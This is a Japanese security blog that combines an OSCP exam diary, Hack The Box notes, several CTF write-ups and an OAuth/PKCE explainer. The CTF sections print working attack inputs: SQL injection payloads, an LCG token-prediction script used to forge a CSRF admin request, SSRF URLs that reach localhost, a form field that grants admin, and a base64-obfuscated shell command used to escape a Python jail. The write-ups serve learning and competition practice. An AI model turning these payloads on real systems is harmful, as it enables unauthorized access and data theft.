OSCPに合格した (PEN-200 2023)
OffSec Certified Professional (OSCP) に合格しました。
費用は会社に出してもらっていたので私は1銭も払わなかったのですが、落ちたときの再受験料については特に聞かされていなかったので多分出ないのだと思います。
まあつまりなんとか1回で受かることができました。
8月
2023年の9月からOSCPに挑戦すると決めたため、それまでHack The Boxをしたり、ADについて勉強したりしていました。
HTBについてはこちらの記事にも書いています。 amame.hateblo.jp
また、TryHackMeのADモジュールを8割ぐらいやりました。基本TryHackMeのVPNに接続してWindowsをRDPで操作するのですが、なかなか重たくて辛かったです。
あとは『ミミミミミッミ』という本を読みました。
他のOSCP受験記で聖書と呼ばれていたので読んでみたのですが、とても分かりやすかったです。
TryHackMeでADの基礎を学んで『ミミミミミッミ』で攻撃について学ぶというのは自分としてはとても良かったかなと思います。おかげでOSCPの限られた時間で躓かずに済みました。
ADの基礎についてはTryHackMeよりもいい教材があるかもしれません。
9月
3か月のコースがスタートしました。
9月前半は学校が無かったのでその間に結構進めたかったのですが思ったよりも成果は出ませんでした。 モジュール1つ1つに骨があり、想像以上に大変で連続してやるには集中力が足りなかったです。
まあこれに関しては私の精神力と体力不足ですね。
結局教科書読みとExerciseは18日かけて終わらせました。 やっと本番とも言われるChallenge Labの攻略に入れます。
が、ここらへんから学校が始まりました。最終学年の後期なので暇だろ思っていたんですがめっちゃ忙しかった(泣)
なので基本的に平日はほとんど進めなかったです。
OSCPは1日3時間以上勉強するべきという言説(私自身は資格合格のための勉強量は当人のバックグランドに大きく依存するだろと思っていますが)をよく見かけるので、焦燥感は感じていました。
10月
ひたすらChallenge Labを進めていました。
と言いたいところですが、前述の通り学校が忙しく基本的に土日にしかできず、10月15日時点で57個中25個という記録でした。
ADはDCさえ侵害できれば芋づる式に傘下のマシンへのアクセス権を得られるので、思ったよりも楽でした。
また、パスポートを申請していました。私含め多くの日本人は有効な本人確認手段がパスポートしかないため、試験までに取得しておく必要があります。
OffSecに身銭を切ることはありませんでしたが、10年用パスポートの取得に1万6千円程度かかりました。
10月28日~29日で模擬試験のような事をやりました。結果は惨敗でしたが、レポートまでしっかり書いたので結構身になりました。
本番でレポートを書いて結構時間がかかったという人をネットでよく見たのですが、1回書いておくだけで次からはサクサク書けるようになるので、レポートも少なくとも1回は練習で書いておくことをお勧めします。
11月
Challenge Labです。海外の体験談やRedditを見ているとProving Groundsとかもやっている方が多い感じでしたが、PEN-200の契約期間中はそっちを優先すべきとの投稿に納得したため、基本的に手を付けませんでした。
11月に入ったあたりからプレッシャーが大きくなり、体験記やRedditの投稿を読み漁ったりしていました。対して意味は無かったと思います。
11月30日にLabへのアクセス権が失効し、最終的に57個中46個のマシンのproof.txtを提出しました。
12月1日は、Proving Groundsで1つのマシンをユーザー権限まで取得しました。特権昇格までやりたかったのですが、お金を払っていなかったので3時間の時間制限が来てしまい諦めました。
試験開始は12月の2日(土)の11時に設定していました。
試験本番
12月2日 10:40
portalにログインしました。
試験開始15分まえにログイン可能になると説明されていたのですが、実際はもう少し早いようです。
画面共有とウェブカメラの共有に少し躓きました。まず、モニターは3台用意していたのですが、3台ともネットワーク越しに共有するのに結構時間がかかりました。
また、iVcamをインストールしていたのですが、portal上でメインのウェブカメラがiVcamになってしまい、それを変更する方法が分からず(多分ない)結局アンインストールすることになりました。
スマホ等をウェブカメラにして使う事は禁止されているので、ちゃんとしたウェブカメラが必要です。普段私はミラーレス一眼レフをウェブカメラとして使っていましたが、大事をとってankerの7千円程度のウェブカメラを購入しました。
11:02
前述のようなこともあり、2分遅れてスタートしました。
戦略としては、AD攻略+独立Local×3+ボーナスポイントの80ポイントで合格しようと思っていました。
なのでまずADの攻略を進めました。
18:00
7時間かけてなんの進捗もありませんでした。
ADの初期侵害すらなんの糸口も見つけられませんでした。
この時点で状況は絶望的であり不合格を確信していました。
半ば諦めていた私は、監視されている中OSCPの不合格体験記を読み、自らを慰める方向に舵を切りました。今思うと試験中に体験記読むのはなかなかリスキーな行為でした。
いわゆるネタバレが含まれていた場合カンニング扱いされてもおかしくないので。
完全に精神は闇落ちしていた私はいくつかの体験記・Redditを漁った後、以下の記事に出合います。
これはOSCPに2回落ちた筆者が3回目で合格する話です。
意訳ですが、途中こんな話が書いてありました。
OSCPに2回落ちた筆者、ペンテスターの求人に応募し面接を受けます。
面接官からOSCPに合格したかと聞かれ、恥ずかしながらも「いえ、2回落ちました。でもまだ挑戦中です。」と答えました。 すると面接官は笑って、ジュニアのほとんどはOSCPに挑戦さえしていない。あなたの方が先を行っているよと返します。続けて「私は合格するまでに7回落ちた。」と言うのです。 私は驚き、そしてこれが突破口になりました。
7回も落ちた人もいるのかと私も驚きました。そういう話を聞くと、1回くらい落ちても平気だと楽観的な気持ちになれます。そして文章は以下のように続きます。
この試験は敗北をもたらすものです。あなたを破滅させ、あなたを完膚なきまでに打ちのめし、負け犬を淘汰するように作られている。努力を続け、挑戦し続ける限り、私も合格できるのだと悟った。失敗は進歩である。これを理解するのに時間がかかりすぎた。失敗しても、その失敗から学べれば、それは失敗ではない!本当の失敗は挑戦をやめることである。失敗し続けろ!そして全てが変わった。
完全に安西先生です。「あきらめたらそこで試合終了ですよ」という声がここまでマッチする状況はあるでしょうか。
私はこの時まで、精神論というものを完全に馬鹿にしていたことを謝らねばなりません。
もちろん適所適材ではありますが、気持ちの力というのはこんなにも大きいものなのかと身をもって実感することができました。
それほどまでに私はこの文章を読んで自信をつけることができたのです。
もし私が試験中にこの文章に出合っていなければ、途中で諦め、合格していなかったかもしれません。
私はこの文章に感謝してもしきれないほど救われました。
また、このような記述もありました。
Don’t overthink it. OSCP is using publicly known vulnerabilities with publicly known exploits.
考えすぎるな。OSCPは既知のエクスプロイトで既知の脆弱性を使うだけだ。
この文章を読んだ時点で私の気持ちは、独立×3 + ボーナスポイントの合計70ポイントで合格する方向へと切り替え終えていました。
7時間何もできなかったからってなんだ。23時間45分の試験だぞ。あと16時間以上時間は残っているじゃないか。Redditだと12時間以内に全完した奴だって珍しくない。21時間ADが侵害できなくて、3時間で独立3台攻略して受かった奴だっていた。まだチャンスは残っているぞ!うおおおおおお。
19:30
独立1個目Local取得。
この後一旦風呂に入ったのですが、我が顎ゆるまずんば非ずといった状況で、冷静に見れば8時間以上かけて10ポイントしか取得していなくとも、もう試験に合格したかのような気持で湯船につかっていました。
20:15分
風呂から出て、独立1個目Root取得。
23:20
独立2個目のLocal取得。
12月3日 00:25
独立2個目Root取得。
01:05
独立3個目Local取得。
01:30
独立3個目Root取得。
なんと方針を変えてから7時間程度で独立を全て解くことができました。
この時ほど嬉しかったことは人生でもほとんどないでしょう。ガッツポーズを何回もしていました。深夜でなかったら雄叫びを上げていたと思います。
その後は証跡集めをし、3時半ごろに就寝しました。
07:00
アラームなしで起床。アラームは一応7時半に設定していました。
レポートを作成しつつADを見ますが進展はなし。この時点でレポートに不備がなければ合格できることが分かっていたのでぶっちゃけADをやる気は薄れていました。
10:30
15分早めに終了しました。
14:50
レポートを提出。
ちなみにレポートですが、一人称I + 過去形の形式で進めました。テンプレートは三人称Johnが使われていましたが、一人称でレポートを書いたという日本人の体験記を確認できたので大丈夫だろうという判断です。
Iを多用するのは流石に良くないかなと思い、The result showed ~ みたいな文もちょくちょく挟むようにしました。
完全に機械翻訳に頼ってレポートを進めましたね。
16:35
OffSecにログインしたらExamのところに「合格した」という表示がありました。流石に早すぎだと思うのですが、これは暫定みたいなものなのですかね。
12月4日 15:20
レポート提出から24時間30分後、メールで合格通知と証明書の案内が来ました。 ウェブサイトの表示が早すぎて信用しきれなかったので、正式に証明書を貰えてやっと安心できました。
まとめ
技術というよりもセンスを磨く試験であると感じました。Redditの受け売りですが、too hardというよりtoo trickyであると強く感じます。
問われている技術はコースの範囲内に収まっていたと思います。ただChallenge Labよりも明らかに試験問題の方が複雑でした。
一筋縄ではいかない、trickyな細工がどのマシンにも施されています。
知識を知っている知っていないではなく、どこに当たりをつけて試すかの思考が問われていると感じる試験でした。
目標にしていた資格なので合格出来てめっちゃうれしいです!!
Hack The BoxでHackerになった。
いやぁ、これで正真正銘Hacker名乗れますな。
時系列(うろ覚え)
2022/10月
- 本格的に始める
- 登録はもっと前にしていたと思いますが、歯が立たず放置していました
2022/11月
- Script Kiddleになる
- Easyの中でも簡単なマシンのみなんとか解ける感じでした
- Root:3, User:4, Challenges:4
- ちょっと難しくなると歯が立たなくなり放置
画像にあるように、そこから8か月程度放置していました。(当然いままで解いた分の所有率はリセット)
2022/1月~3月
- 就活と並行してTryHackMeを学割で契約して色々と学ぶ
- 就活の終了によって燃え尽き
2023/8月
- OSCP取りてーと思って、再開
8/2
- Root:2, User2
8/3
- Root:2, User2
8/4
- Root:1, User1
8/5
- Root:1, User1
で、合計6つのマシンを解いてHackerになりました。
他の方の記事とか見てるとVIPを契約してRetiredをたくさんやられていたのですが、私はケチってFreeのままです。
HTB力を鍛えたかったら、TryHackMeとかより、HTBのRetiredをたくさんやる方が身のためかもしれません。TryHackMeは色々なジャンルがあり、WindowsADとか学べたのはすごくよかったです。ただ、帯域が弱くストレスが……。
計算上は6つだとギリギリHackerに到達できなかったんですが、Challengesは入れ替わりが余りなく去年解いた4つ分が残っていてHackerなれたという訳です。
計算してみたところ、(Challengesの問題数によりますが)Easy全部とChallenges2個解けばHackerRankになれるようです。
Userについて
まあみんな言っていますが、列挙とwordlistが大事です。こういう総当たり的なのはCTFと違う所ですね。
ただ脆弱性を見つけるという事に関してはCTFの経験とか勘みたいなのが私は大きく役立ったと思っています。
いやこれ実際はありえないでしょみたいなマシンもありますが、そういうのは良くも悪くも変な知識が要求されることが多く勉強になりました。
Rootについて
怪しいものを見逃さないかが大事です。私は結構苦手で、変に時間をかけてしまう事が多かったです。
ただ、見る場所はどのマシンでも対して変わらないというか限られているので、何回もやっていればコツをつかめてくるでしょう。
総括
目標はOSCPなのでProHackerまでやるかは分かりませんが、結構楽しかったです。
HTBはランクが(厨二的で)カッコいいから上を目指したくなりますね。
picoCTF 2023 writeup
picoCTF 2023 Writeup
web問だけ解きました。
Web Exploitation
findme
このような2つのリダイレクトがあった。 他に意味のありそうなものは無かったので、idパラメタをbase64decodeするとflagだった。
MatchTheRegex
正規表現でマッチさせるだけ。 .*だけだとだめだった。
SOAP
XXE
More SQLi
Login ID: 1' or 1=1 -- Password: 1' or 1=1 --
query: ' UNION SELECT * FROM users --
query: ' UNION SELECT group_concat(sql), group_concat(sql), group_concat(sql) FROM sqlite_master --
query: ' UNION select flag, flag, flag from more_table --
Java Code Analysis!?!
認可にJWTを使ってるんですね。
生成コードに穴とか無いかなと思ってみてみたら。
// not so random return "1234";
めちゃめちゃハードコーディングされておった!?!
所感
ここまで解いた後に「冴えない彼女の育てかた」というライトノベルにハマってしまい、あとの問題は解けてません。根気が足りなかった。
ACSC 2023 Writeup
101th(global: 140 th)でした。
骨のある問題が多く中々解けなかった。
解けたのは (Welcome), Merkle Hellman, Admin Dashboardのみ。
うーむ。ガチ勢とのレベル差を実感したね。
Writeup
Welcome
discordにある。
ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}
Merkle Hellman
これかな?
平文に対して、(26 >> i) == 1であるPublicKey[i]の合計を求める感じ。
前提知識ないままコード読んでflag取ってしまったので、結構効率悪いと思う。 実際Private Key使ってないしね。
# Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] b = [7352, 2356, 7579, 19235, 1944, 14029, 1084] (w, q) = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] result = [] for s in c: flag = 0 for i in range(7): for v in itertools.permutations(b, i): sum = 0 for vv in v: sum += vv if sum == s: flag = 1 result.append(v) break if flag == 1: break print(result) flag = '' for r in result: ascii = 0 for v in r: ascii |= (64 >> b.index(v)) flag += chr(ascii) print (flag)
ACSC{E4zY_P3@zy}
頑張れば手動でも行けそうだなと思った。
Admin Dashboard
admin-dashboard
reportページから、admin権限でgetリクエストを飛ばせる。 問題文中でgetリクエストが生きる場面は /addadmin のみなので、ここにリクエストを飛ばして任意のadminユーザを作ればよい。
ただ、csrf-tokenの検証が入るので、tokenを推測しなければならない。
$sql = "SELECT * FROM secrets"; $stmt = $conn->prepare($sql); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); if($row){ $A = gmp_import($row['A']); $C = gmp_import($row['C']); $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd"); } if (!isset($_SESSION['X'])){ $X = gmp_import($_SESSION["user"]["username"]); $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M); $_SESSION["token-expire"] = time() + 30; }else{ if(time() >= $_SESSION["token-expire"]){ $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M); $_SESSION["token-expire"] = time() + 30; } }
数式化するとこうなる。
ただし、AとCは不明。
ちょっと調べてみると線型合同法という乱数生成アルゴリズムで、推測可能らしい事が分かった。
X = [] X.append(0x74657374616d) # <?php echo gmp_strval(gmp_import('testam'), 16); ?> X.append(0xadbcf226031e752084d83547d0fa1f3d) X.append(0x2b0546e77c9a59aa216a57eaa822e13f) Y = [] Y.append(X[1] - X[0]) Y.append(X[2] - X[1]) M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd A = Y[1] * pow(Y[0], -1, M) C = X[1] - A * X[0] assert X[1] == (A * X[0] + C) % M, "Not eqaul" assert X[2] == (A * X[1] + C) % M, "Not eqaul" print(f'A: {hex(A)}') print(f'C: {hex(C)}') print() Xadmin = 0x61646d696e # <?php echo gmp_strval(gmp_import('admin'), 16); ?> print(f'Token: {hex((A * Xadmin + C) % M)}') # OUTPUT # A: -0x179c720dd58f5ae3904ef5e6007583dc476ecefd04f89eb882e9e8eba06e47fe # C: 0xabc3f0d475670c5f1c45efe04c38954aedcd1691121263d1cd5c75c02928ba964eaa24e0463 # # Token: 0x5b4b474720175fc8e5fb8f3e4b7266dc
という訳で、投げるべきリクエストは
url=http://localhost/addadmin?username=am2497%26password=password%26csrf-token=5b4b474720175fc8e5fb8f3e4b7266dc
そして、
ACSC{C$rF_15_3VerYwh3Re!}
リクエスト中に&をそのまま書いていて上手くいかないというミスで結構時間を使った。
あと線型合同法のAとCの計算は以下のkurenaifさんの記事を参考にした。動画も分かりやすかった。
所感
中々悔しい。
Incognito 4.0 writeup
久々にCTFに出て54th/344でした。 良い機会なのでこれからはwriteup書いていこうと思います。
曖昧な記憶だよりです。次からはちゃんとメモとりながらやります。
Writeup
sanity
sanity
discordサーバーにあった。
ictf{heres_s0m3_s4n1ty_91823dd}
more sanity
ictf-botにDMで!flag
で帰ってきた。
ictf{!flag_work5??_p718jq091}
我含め多くの人が公開サーバー上で色々と試行錯誤していたが、dmじゃないと無理だったんじゃないかな。
Web
get flag 1
単純なSSRF。
http://45.79.210.216:5000で、/getUrl?url=http://example.comするとexample.comを閲覧できる。
これで localhost:9001を閲覧するという問題。
もちろん /getUrl?url=http://localhost:9001ではエラーになる。
/getUrl?url=http://0.0.0.0:9001/flag.txt
で行けた。
get flag 2
上記とほとんど同じ問題。ただ、0.0.0.0だと無理。
色々と試したあと、ipv6だと行けた。
/getUrl?url=http://[::]:9001/flag.txt
massive
isAdminというパラメータをtrueにすればよさげだったので、登録フォームをchromeのDevToolから改ざんした。
<input type="hidden" name="isAdmin" value="true">
みたいなやつを追加して登録→ログインでフラグが見れたはず。
Rev
Meow
stack string
ghidraで見たら一文字ずつ律儀に積まれていた。
他の人のwriteupみたらちゃんとコード書いていて恥ずかしくなった。
pwn
babyFlow
単純なROP。 内部にshellを呼び出す関数を持ってた。
python3 -c 'print("a"*16 + adresss) | nc ip port
とかやった気がする。(あんまし覚えてない)
pyjail
TheOnlyJail
初めてのジャンルだった。
jailとは牢屋を意味する英単語で、制限されたsandboxから逃れる事を目的とするジャンルらしい(多分)。
今回の問題はアクセスするとpythonのコマンドが実行できるが、/\<>#$-などの記号があるとforbiddenエラーになる。(\nなどは除く)
今までの問題の傾向から ~/ctf
にflagがある可能性が高いのでbase64エンコードでごり押した。
base64("cat ~/ctf/flag.txt") == "Y2F0IH4vY3RmL2ZsYWcudHh0"
したがって
python3 -c 'print("import os\n"+"import base64\n" + "os.system(base64.b64decode("Y2F0IH4vY3RmL2ZsYWcudHh0").decode())") | nc ip port
所感
久々だったので結構楽しかった。pwnのGainmeとCryptoのAncientは根気が足りずだめだったのが悔しい。
次からはメモ取ります。flag覚えてなくてすみません。
ちゃんとpwntools使えるようになろうと思いました。
OBS Studioで映像キャプチャデバイスのプロパティを表示させるとフリーズする問題の暫定対処法
https://www.nvidia.co.jp/Download/Find.aspx?lang=jp
- 条件:Nvidia のドライバを使っている
- 解決法:上記ページから2022年10月以前(studio driver 517.40とか)のドライバにダウングレードする。
OAuth2.0とAuthorization Code Interception Attackについて
はじめに
もうすぐ去年のセキュキャンから1年ですね。
リレーブログです。
テーマはOAuthです。ここでは現在使われているOAuth 2.0とAuthorization Code Interception Attackという脆弱性について書こうと思います。
OAuth 2.0
OAuth 2.0は複数の異なるWEBサービスでアクセストークンを用いて、アクセス権限の認可を行うオープンスタンダード(RFC6749, RFC6750)です。
OAuthでは以下の4つのロール(役割)があります。
- Resource Owner
- エンドユーザー
- Client
- Resource Ownerに紐づくデータ(リソース)にアクセスするアプリケーション
- Resource Server
- ClientをリソースにアクセスさせるためのAPIを提供するサーバー
- Authorization Server
- Clientをリソースにアクセスさせるための認可サーバー
また、以下のような認可フローに沿って処理が進められていきます。
- Clientは認可サーバーの認可エンドポイントに認可リクエストを投げ、認可サーバーはResource Ownerに許可を求めます
- 成功すればClientは応答として短命の認可コードを受け取り、それを認可サーバーのトークンエンドポイントでアクセストークンと交換します
- 受け取ったアクセストークンを使ってClientはリソースサーバーのリソースにアクセスします
このフローを認可コードフローと呼びます。
このほかにもいくつか認可フローは定義されていますがここでは省略します。
Authorization Code Interception Attack
OAuth2.0の実装不備による脆弱性としてAuthorization Code Interception Attackというものがあります。 認可コードフローで成立する脆弱性で、認可エンドポイントからの応答に含まれる認可コードを横取りされ、悪意のあるClientがアクセストークンを取得できるというものです。
攻撃は次のように行われます。
- 攻撃者は標的となるClient(モバイルアプリケーション等)と同じカスタムURIスキームなどで起動するようなアプリケーションを作成し、標的ユーザーの端末にインストールする
- 標的Clientが認可サーバーからの認可のため、外部Webブラウザを起動する
- 認可に成功しカスタムURIスキームで、認可コードが渡される
- 攻撃者の作成したアプリケーションが起動してしまい、認可コードが奪われアクセストークンが攻撃者の手に渡る
カスタムURIスキームは複数のアプリケーションが同一の値を指定して登録できてしまうため、このような事が起こり得るのです。
対策
この脆弱性はRFC6749に沿って忠実に実装したとしても防ぐことはできません。
ですが拡張仕様としてRFC7636が作成されており、その通り実装することで対策が可能です。
RFC7636
RFC7636で策定されているのは、Proof Key for Code Exchange by OAuth Public Clients(OAuth PKCE)というものです。
OAuth PKCEでは、Clientは code verifier と呼ばれるランダムな値を作成し保存します。そしてそれをハッシュ化した code challenge という値を、認可リクエストの際に送信し、認可サーバーはそれを保存します。
認可コードからアクセストークンを取得する際は code verifier を一緒に送信し、認可サーバー側で保存してあるcode challenge と照合することで認可をリクエストしたClient以外がアクセストークンを受け取る事を防止できるのです。
おわりに
OAuthは調べてみると次々に脆弱性が出てきて驚きました。テーマと共に渡された資料でも認可制御の脆弱性は多いと書かれていたので気を付けたいですね。
ちなみに7月でリレーブログも終わるみたいなので、僕の記事としてはこれが最後になる、と思います。
全然関わってこなかった分野を勉強出来たり、インプットした知識をアウトプットするいい練習でもありました。
この活動のために開設したブログではありますが、不定期で更新は続けようと思います。
約1年、お疲れ様でした!